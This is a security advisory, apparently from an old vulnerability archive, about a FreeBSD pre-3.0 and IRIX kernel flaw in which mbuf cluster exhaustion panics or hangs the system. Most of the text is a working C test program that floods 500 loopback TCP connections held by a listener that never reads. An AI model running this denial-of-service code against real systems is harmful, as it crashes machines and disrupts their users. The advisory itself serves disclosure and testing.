COMMAND
kernel (mbuf)
SYSTEMS AFFECTED
FreeBSD prior to 3.0, IRIX
PROBLEM
David G. Andersen and Don Lewis found following. FreeBSD panics
caused by running out of mbuf clusters. There's another fairly
easy way to exploit this on pre-3.0 systems, as an aside, but it
requires either a fairly slow server process (or one which you can
force to block), or local access. The process is simple:
- connect
- send a big chunk of data which causes the TCP socket buffers to
fill up before the remote process read()s it
- panic().
The bug was actually pointed out in an indirect way by the author
of a paper at sigcomm, who noticed the phenomenon in NetBSD while
they were rewriting the buffer management routines. Below is a
small test program for it. It also seems to affect IRIX systems,
resulting in a hung system. This test programs (local users)
creates a socket, listen()s on it, and does nothing. The other
process connects to this socket, and sends a bunch of junk. This
was tested against an early, early version of 3.0-current, and
it appeared to be fixed. Linux and AIX proved happy with it.
/* Test program for TCP buffer overflow mbuf panic */
/* Dave Andersen - danderse@cs.utah.edu */
/* netbuf.c - gcc netbuf.c -o netbuf */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MAXSOCK 500
#define MY_BUFSIZE 32768
#define MAGICPORT 29833
#ifndef INADDR_LOOPBACK
#define INADDR_LOOPBACK 0x7f000001
#endif
/*
* Compiling:
* FreeBSD, AIX: -DHAS_SIN_LEN
* Linux, IRIX:
*/
/*
* Vulnerable:
* FreeBSD-2.x
* IRIX
* Not vulnerable:
* FreeBSD-3.0
* Linux 2.0.30
* AIX 4.1
*/
struct sockaddr_in socka;
void doecho() {
int ls;
ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(ls, &socka, sizeof(socka));
listen(ls, MAXSOCK);
while (1) {
sleep(1);
}
}
int main(int argc, char **argv) {
int kidpid;
int sendsock[MAXSOCK], recvsock[MAXSOCK];
int i;
int sock;
int socksize;
char buf[MY_BUFSIZE];
socksize = 1048576;
bzero(&socka, sizeof(socka));
socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
#ifdef HAS_SIN_LEN
socka.sin_len = sizeof(struct sockaddr_in);
#endif
socka.sin_family = AF_INET ;
socka.sin_port = htons(MAGICPORT);
kidpid = fork();
if (kidpid > 0) {
doecho();
} else {
/* A vague, horrible excuse for synchronization. This
* is a demonstration of a kernel flaw, not good coding
* style. :-) */
sleep(2);
}
for (i = 0; i < MAXSOCK; i++)
{
/* Open the socket connection, set the socket option */
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize));
sendsock[i] = sock;
if (connect(sock, &socka, sizeof(socka))) {
perror("could not connect");
}
printf("Opened\n");
}
printf("Starting the loop\n");
while (1) {
for (i = 0; i < MAXSOCK; i++)
write(sendsock[i], buf, MY_BUFSIZE);
}
}
SOLUTION
It's fixed in 3.0ish systems. Not sure what about IRIX.